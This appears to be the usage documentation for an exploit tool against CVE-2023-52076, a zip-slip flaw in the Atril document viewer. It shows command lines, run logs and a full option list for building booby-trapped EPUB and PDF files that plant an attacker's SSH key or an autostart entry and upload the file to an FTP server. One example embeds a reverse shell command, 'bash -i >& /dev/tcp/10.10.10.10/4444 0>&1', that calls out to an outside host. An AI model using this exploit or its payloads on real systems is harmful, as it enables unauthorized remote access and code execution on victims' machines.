Python 3.8+
ssh-keygen in PATH (SSH mode only)

python3 cve_2023_52076.py --mode ssh

python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"

python3 cve_2023_52076.py \
  --mode ssh \
  --name slippy-ssh \
  --key ./keys/atril_rsa \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub

[+] Payload ready
Mode:        SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key:  ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB:        ./payloads/slippy-ssh.epub
PDF copy:    ./payloads/slippy-ssh.pdf

[+] SSH login remains manual:
    ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>

python3 cve_2023_52076.py \
  --mode autostart \
  --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
  --name slippy-rce \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.

[+] Payload ready
Mode:       Autostart (.desktop RCE)
Command:    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB:       ./payloads/slippy-rce.epub
PDF copy:   ./payloads/slippy-rce.pdf

[+] Victim must logout/login for autostart to trigger

--mode {ssh,autostart}
   Payload mode. Default: ssh
   ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
   autostart: Create .desktop RCE in autostart (triggers on next logout/login).

--command <CMD>
   Payload command for --mode autostart. Required if --mode autostart.
   Example: --command "id > /tmp/pwned.txt"

--name <NAME>
   Local payload basename. Default: base-clean

--key <PATH>
   Private key path (SSH mode only). Default: slippy_rsa

--key-bits <BITS>
   RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072

--output-dir <DIR>
   Output directory for .epub/.pdf. Default: output

--upload
   Upload the payload to FTP after generating.

--host <HOST>
   FTP target host or IP. Required if --upload is set.

--port <PORT>
   FTP port. Default: 21

--ftp-dir <DIR>
   Remote FTP directory, e.g. pub.

--ftp-user <USER>
   FTP username. Default: anonymous

--ftp-password <PWD>
   FTP password. Default: anonymous@

--remote-name <NAME>
   Remote EPUB filename. Default: ludwig.epub

--upload-pdf
   Upload the .pdf copy instead of the .epub.

--force
   Replace existing output and key files.

--timeout <SECONDS>
   FTP connection timeout. Default: 10.0

--only-final
   Hide progress logs and print only the final summary.

--no-color
   Disable ANSI colors.

--debug
   Print executed subprocess commands (ssh-keygen).